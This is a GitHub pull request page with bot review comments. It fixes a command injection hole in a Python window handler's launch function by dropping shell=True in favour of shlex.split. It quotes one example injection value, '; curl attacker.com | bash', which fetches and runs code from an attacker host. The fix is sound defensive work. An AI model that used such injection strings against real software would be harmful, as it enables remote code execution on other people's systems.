fix: prevent command injection in GenericWindowHandler.launch()#1146
fix: prevent command injection in GenericWindowHandler.launch()#1146jnMetaCode wants to merge 2 commits intotrycua:mainfrom
Conversation
Use shlex.split() to safely parse app strings instead of passing them to subprocess.Popen with shell=True, which allows arbitrary command injection when the app parameter is attacker-controlled. Fixes trycua#1097
|
@jnMetaCode is attempting to deploy a commit to the Cua Team on Vercel. A member of the Team first needs to authorize it. |
|
Important Review skippedAuto incremental reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
📝 WalkthroughWalkthroughA command injection vulnerability in Changes
Estimated code review effort🎯 1 (Trivial) | ⏱️ ~3 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@libs/python/computer-server/computer_server/handlers/generic.py`:
- Around line 116-117: The current launch in generic.py uses shlex.split(app)
which forces POSIX tokenization and breaks Windows paths; modify the subprocess
invocation in the handler so it chooses parsing by platform: on Windows (e.g.,
sys.platform.startswith("win") or os.name == "nt") call subprocess.Popen(app)
with the string (no shell=True) so CreateProcess handles Windows
quoting/backslashes, and on POSIX use subprocess.Popen(shlex.split(app)) to
safely tokenize; keep the intent to avoid shell=True to prevent command
injection and update the code paths around proc/subprocess.Popen accordingly.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 3fe9a057-0bc6-40ad-9fe7-dda2b79e5b5d
📒 Files selected for processing (1)
libs/python/computer-server/computer_server/handlers/generic.py
Summary
GenericWindowHandler.launch()passes theappparameter directly tosubprocess.Popen()withshell=Truewhen noargsare provided. This allows command injection if theappvalue comes from an untrusted source (e.g. agent instructions from web content).Before:
After:
shlex.split()safely tokenizes shell-like strings (e.g."libreoffice --writer"→["libreoffice", "--writer"]) without invoking a shell, so commands like"; curl attacker.com | bash"are no longer interpreted.Related issue
Fixes #1097
Changes
import shlextogeneric.pysubprocess.Popen(app, shell=True)withsubprocess.Popen(shlex.split(app))Summary by CodeRabbit
Bug Fixes